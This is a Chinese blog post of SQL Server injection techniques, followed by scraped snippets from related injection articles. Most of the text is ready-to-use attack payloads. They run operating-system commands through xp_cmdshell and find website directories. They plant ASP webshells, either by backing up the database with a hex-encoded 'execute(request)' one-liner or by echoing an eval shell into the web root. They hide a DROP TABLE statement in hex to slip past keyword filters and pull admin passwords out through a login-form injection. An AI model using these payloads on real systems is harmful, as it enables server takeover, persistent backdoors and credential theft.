SQLServer注入技巧

一、对于SA权限的用户执行命令,如何获取更快捷的获取结果?

  • 有显示位
  • 无显示位

其实这里的关键并不是有无显示位。exec master..xp_cmdshell ‘systeminfo‘生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。

方法①
BEGIN
     IF EXISTS(select table_name from information_schema.tables where table_name=‘test_1‘)drop table test_1;
     IF EXISTS(select table_name from information_schema.tables where table_name=‘test_2‘)drop table test_2;
     create TABLE test_1([output][varchar](1000));
     insert test_1 exec master.dbo.xp_cmdshell ‘ipconfig /all‘;
     DECLARE @result varchar(8000)
     SET @result=‘~‘
     SELECT @result[email protected]result+‘ ‘+output from test_1 where output>‘ ‘
     SELECT @result AS result INTO test_2;
     SELECT convert(int,(select result from test_2));
END;

解析:

  • 这里6-9句的意思是申明一个@result的临时变量;
  • 设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
  • 然后将@result设置一个别名,然后插入test_2中。
  • 最后报错回显
    PS:
  • mssql英文字母比较大小不区分大小写
  • mssql字符串比较大小和C语言中的str_cmp()一样的道理

方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)

  • 报错:AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1--
  • 显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(‘‘))--

二、如何快速寻找网站目录(SA用户)

  • SA用户被降权
  • SA用户未被降权

这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。

方法①(被降权:–亲测成功):
CREATE TABLE test_1([output][varchar](1000));
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘dir /s d:\web.config ‘;
AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1;

方法②(未被降权–system–亲测成功):
CREATE TABLE test_1([output][varchar](1000));
INSERT test_1 EXEC master.dbo.xp_cmdshell ‘cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ‘;
AND (SELECT * FROM test_1 FOR XML PATH(‘‘))=1;

方法③(sa+system权限+IIS7.0+IIS7.5):

%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径

PS:
%systemroot%代表c:\windows\

三、如何利用注入点getshell方法
①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp;
backup database XFData to disk = ‘D:\WebRoot\asp.bak‘;
create table [dbo].[test_tmp] ([cmd] [image]);
insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database XFData to disk=‘D:\WebRoot\asp.asp‘ WITH DIFFERENTIAL,FORMAT;

方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试
IF EXISTS(select table_name from information_schema.tables where table_name=‘test_tmp‘)drop table test_tmp;
alter database XFData set RECOVERY FULL;
create table  test_tmp  (a image);
backup log XFData to disk = ‘D:\WebRoot\asp.bak‘ with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log XFData to disk = ‘D:\webroot\123.asp‘

PS:

  • 如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
  • 如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。

方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功
echo ^<%eval request("pass")%^>>D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp

PS:

  • 这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明

四、如何避免使用select之类的关键字
方法①:十六进制混淆

;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

五、登录点的注入如何最快获取后台密码
1‘ HAVING 1=1-- #爆出表名

1‘ GROUP BY username HAVING 1=1--  # 爆出字段名

# User_Mess.Account

# User_Mess.PWD

1‘;select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--                                                           
1‘;select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account=‘admin‘))--

六、结语

这篇文章是很久以前整理的,有些地方可能有不对之处,希望大家能够指出。另外,大家有什么姿势也说一说,一起总结总结。

这里排版确实不习惯,用习惯了markdown感觉现在有点排版困难症,请不要喷。。。

时间: 2024-08-24 20:24:21

SQLServer注入技巧的相关文章

SqlServer 注入技巧

一.SA权限执行命令,如何更快捷的获取结果? 有显示位 显示位 其实这里的关键并不是有无显示位.exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行.而我们要做的就是如何很多行通过显示位.或者报错语句一次性爆出来,这里的关键就是多行合一. 方法① 01       02 BEGIN 03      IF EXISTS(select table_name from information_schema.tables where tabl

聊聊错误注入技巧

前言 什么是"错误注入"?错误注入指的是将错误引入到我们的程序中.可能有人会很好奇,这么做有什么目的呢?答案很简单:程序的测试.因为在很多时候,当我们要进行边缘情况测试的时候,往往模拟测试的场景不是非常好造的(尤其是分布式类的程序更是如此),这个时候,我们需要有快捷的方式将错误注入到程序中,以便在我们需要发生错误时,进行错误的产生.本文笔者将结合HDFS现有的错误注入方法来介绍此部分内容. 错误注入技术的原理 错误注入技术的一个核心关键词是"拦截".正常情况下,应用

Sqlmap注入技巧收集整理

TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过判断可发现and和or被过滤http://site/script?id=10– # 失败http://site/script?id=10;– #失败http://sit

sqlmap注入技巧收集

收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10 http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过判断可发现and和or被过滤 http://s

Oracle 注入技巧收集

---恢复内容开始--- 一.报错注入 (1)爆用户名(适用于:Oracle8,9和10g): http://192.168.2.10/ora2.php?name=1' and 1=utl_inaddr.get_host_name((select user from dual))-- (2)基于报错注入(适用于Oracle 11g)取信息: ctxsys.drithsx.sn(1,(SQL语句)) 例如: http://192.168.2.10/ora1.php?name=' and 1 = c

Sqlmap注入技巧集锦

当我们注射的时候,判断注入 http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10 http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过判断可发现and和or被过滤 http://site/script?id=10– # 失败 http://site/script?id=10;– #失败 http://sit

SQL手工注入技巧

MYSQL篇 1.内置函数和变量 @@datadir,version(),database(),user(),load_file(),outfile() 2.利用concat(),group_concat(),concat_ws()拼接查询结果 实例: xxx.php?id=1 and 1=2 union select 1, group_concat(username,0x3a,password),3 from user 3.使用内建数据库查询表段和字段 查表段: xxx.php?id=1 an

SQLServer应用程序的高级Sql注入

[概 要] 这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台.这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法.这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家. [介 绍] 结构化查询语言(SQL)是一种用来和数据库交 互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99]).SQL 运行的典型的操作是

MySQL False注入及技巧总结

0x01 False Injection 引子 首先我们常见的注入 1=1 0<1 ''='' 这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结. 首先抛出这么一个问题 为什么username=0会导致返回数据呢? 这就是一个基于false注入的例子,下面在举一个例子 和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MY